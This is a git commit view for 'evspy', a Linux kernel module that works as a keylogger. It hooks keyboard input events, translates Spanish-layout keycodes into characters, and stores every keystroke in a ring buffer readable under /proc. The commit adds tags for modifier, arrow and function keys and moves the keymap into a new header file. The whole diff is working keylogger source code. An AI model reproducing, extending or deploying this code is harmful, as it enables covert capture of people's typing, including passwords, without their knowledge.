summaryrefslogtreecommitdiff
path: root/evspy
diff options
context:
space:
mode:
authorGuillermo Ramos2011-08-28 20:41:48 +0200
committerGuillermo Ramos2011-08-28 20:41:48 +0200
commitd6b7634ce3b2fbc6f54a24196da61e584b9c758d (patch)
treeef0546c8e708722a06e2d4a56a98ba11d913b798 /evspy
parent6f073702304735317e0ca3844060cd55f30a2df6 (diff)
downloadlkm-d6b7634ce3b2fbc6f54a24196da61e584b9c758d.tar.gz
Evspy reconoce teclas especiales (altgr,tab,...)
Diffstat (limited to 'evspy')
-rw-r--r--evspy/evspy.c130
-rw-r--r--evspy/evspy.h75
2 files changed, 165 insertions, 40 deletions
diff --git a/evspy/evspy.c b/evspy/evspy.c
index 0ef2456..819a914 100644
--- a/evspy/evspy.c
+++ b/evspy/evspy.c
@@ -23,7 +23,6 @@
* Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic
*/
-#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/slab.h>
#include <linux/module.h>
#include <linux/input.h>
@@ -36,46 +35,14 @@
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/sched.h>
+#include "evspy.h"
-#define PROCNAME "driver/evspy"
-#define BUFSIZE PAGE_SIZE
-#define MIN(x, y) (x) < (y) ? (x) : (y)
-
-#define incp(p) \
-({ \
- if (p == &buffer[BUFSIZE-1]) \
- p = buffer; \
- else \
- p++; \
- p; \
-})
static char *buffer;
static char *rdp;
static char *wrp;
-
-static char map_es[] = {
- '.', '.', '1', '2', '3', //0 // 1:ESC
- '4', '5', '6', '7', '8', //5
- '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII)
- '\t', 'q', 'w', 'e', 'r', //15
- 't', 'y', 'u', 'i', 'o', //20
- 'p', '`', '+', '\n', '.', //25 // 29:LCTRL
- 'a', 's', 'd', 'f', 'g', //30
- 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII)
- '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII)
- 'x', 'c', 'v', 'b', 'n', //45
- 'm', ',', '.', '-', '.', //50 // 54:RMAYUS
- '*', '.', ' ', '.', '.', //55 // 56:WIN 58:BLKMAYUS 59-68:F1-F10
- '.', '.', '.', '.', '.', //60
- '.', '.', '.', '.', '.', //65
- '.', '7', '8', '9', '-', //70
- '4', '5', '6', '+', '1', //75
- '2', '3', '.', '.', '.', //80
- '.', '<', '.', '.', '.', //85
- '.', '.', '.', '.', '.', //90
- '.', '\n', '.', '/', '.', //95 // 97:RCTRL
-};
+static char tag[] = "<+XXX>";
+static unsigned int blkmayus_state = FREE;
int evspy_read_proc(char *page, char **start, off_t offset, int count,
int *eof, void *data)
@@ -118,15 +85,98 @@ int evspy_read_proc(char *page, char **start, off_t offset, int count,
return retval;
}
+void special_char(unsigned int code, unsigned int value)
+{
+ int known = 1;
+ int i;
+
+ // Elimina eventos de "despulsado" para teclas no deseadas
+ switch(code) {
+ case RMAYUS:
+ case LMAYUS:
+ case ALT:
+ case LCTRL:
+ case RCTRL:
+ case ALTGR:
+ break;
+ default:
+ if (value == FREE)
+ return;
+ }
+
+ switch(code) {
+ case RMAYUS:
+ case LMAYUS:
+ strncpy(tag+2, "MAY", 3);
+ break;
+ case ALT:
+ strncpy(tag+2, "ALT", 3);
+ break;
+ case ALTGR:
+ strncpy(tag+2, "AGR", 3);
+ break;
+ case LCTRL:
+ case RCTRL:
+ strncpy(tag+2, "CTR", 3);
+ break;
+ case TAB:
+ strncpy(tag+2, "TAB", 3);
+ break;
+ case ESC:
+ strncpy(tag+2, "ESC", 3);
+ break;
+ case UP_AR:
+ strncpy(tag+2, "A^^", 3);
+ break;
+ case DOWN_AR:
+ strncpy(tag+2, "Avv", 3);
+ break;
+ case LEFT_AR:
+ strncpy(tag+2, "A<<", 3);
+ break;
+ case RIGHT_AR:
+ strncpy(tag+2, "A>>", 3);
+ break;
+ default:
+ known = 0;
+ }
+
+ if (!known && isfX(code)) {
+ strncpy(tag+2, "F??", 3);
+ } else if (!known) {
+// strncpy(tag+2, "UNK", 3);
+ return;
+ }
+
+ if (value == PRESS)
+ tag[1] = '+';
+ else if (value == FREE)
+ tag[1] = '-';
+
+ for (i = 0; i < sizeof(tag) - 1; i++)
+ ins(tag[i]);
+}
+
static void evspy_event(struct input_handle *handle, unsigned int type,
unsigned int code, int value)
{
- if (type != 1 || value != 1 || code >= 100)
+ if (type == EV_BLKMAYUS) {
+ // A veces la mierda esta manda dos eventos en vez de uno al pulsar BLKMAYUS
+ if (value != blkmayus_state)
+ special_char(LMAYUS, value);
+ if (value == PRESS)
+ blkmayus_state = PRESS;
+ else if (value == FREE)
+ blkmayus_state = FREE;
return;
+ } else if (type != 1 || value == HOLD || unlikely(code >= sizeof(map_es))) {
+ return;
+ }
- *wrp = map_es[code];
- if (incp(wrp) == rdp)
- incp(rdp);
+ if (map_es[code] == '.' && likely(code != DOT))
+ special_char(code, value);
+ else if (value == PRESS)
+ ins(map_es[code]);
}
static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
diff --git a/evspy/evspy.h b/evspy/evspy.h
new file mode 100644
index 0000000..f140638
--- /dev/null
+++ b/evspy/evspy.h
@@ -0,0 +1,75 @@
+//#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
+#define PROCNAME "driver/evspy2"
+#define BUFSIZE PAGE_SIZE
+#define MIN(x, y) (x) < (y) ? (x) : (y)
+
+#define incp(p) \
+({ \
+ if (p == &buffer[BUFSIZE-1]) \
+ p = buffer; \
+ else \
+ p++; \
+ p; \
+})
+
+#define ins(c) \
+({ \
+ *wrp = c; \
+ if (incp(wrp) == rdp) \
+ incp(rdp); \
+})
+
+#define isfX(c) \
+({ \
+ (c >= F1 && c <= F10) || (c == F11 || c == F12); \
+})
+
+#define EV_BLKMAYUS 17
+
+#define FREE 0
+#define PRESS 1
+#define HOLD 2
+
+#define ESC 1
+#define TAB 15
+#define LCTRL 29
+#define LMAYUS 42
+#define DOT 52
+#define RMAYUS 54
+#define ALT 56
+#define BLKMAYUS 58
+#define F1 59
+#define F10 68
+#define F11 87
+#define F12 88
+#define RCTRL 97
+#define ALTGR 100
+#define UP_AR 103
+#define DOWN_AR 108
+#define LEFT_AR 105
+#define RIGHT_AR 106
+
+static char map_es[] = {
+ '.', '.', '1', '2', '3', //0 // 1:ESC
+ '4', '5', '6', '7', '8', //5
+ '9', '0', '\'', '!', '\b', //10 // 13:¡ (NOASCII)
+ '.', 'q', 'w', 'e', 'r', //15 // 15:TAB
+ 't', 'y', 'u', 'i', 'o', //20
+ 'p', '`', '+', '\n', '.', //25 // 29:LCTRL
+ 'a', 's', 'd', 'f', 'g', //30
+ 'h', 'j', 'k', 'l', 'n', //35 // 39:ñ (NOASCII)
+ '\'', '.', '.', 'c', 'z', //40 // 42:LMAYUS 43:ç (NOASCII)
+ 'x', 'c', 'v', 'b', 'n', //45
+ 'm', ',', '.', '-', '.', //50 // 52:. 54:RMAYUS
+ '*', '.', ' ', '.', '.', //55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10
+ '.', '.', '.', '.', '.', //60
+ '.', '.', '.', '.', '.', //65
+ '.', '7', '8', '9', '-', //70
+ '4', '5', '6', '+', '1', //75
+ '2', '3', '.', '.', '.', //80
+ '.', '<', '.', '.', '.', //85
+ '.', '.', '.', '.', '.', //90
+ '.', '\n', '.', '/', '.', //95 // 97:RCTRL
+ '.', '.', '.', '.', '.', //100 // 100:ALTGR 103:up_arrow
+ '.', '.', '.', '.', '.', //105 // 105:lft_arrow 106:rgt_arrow 108:down_arrow
+};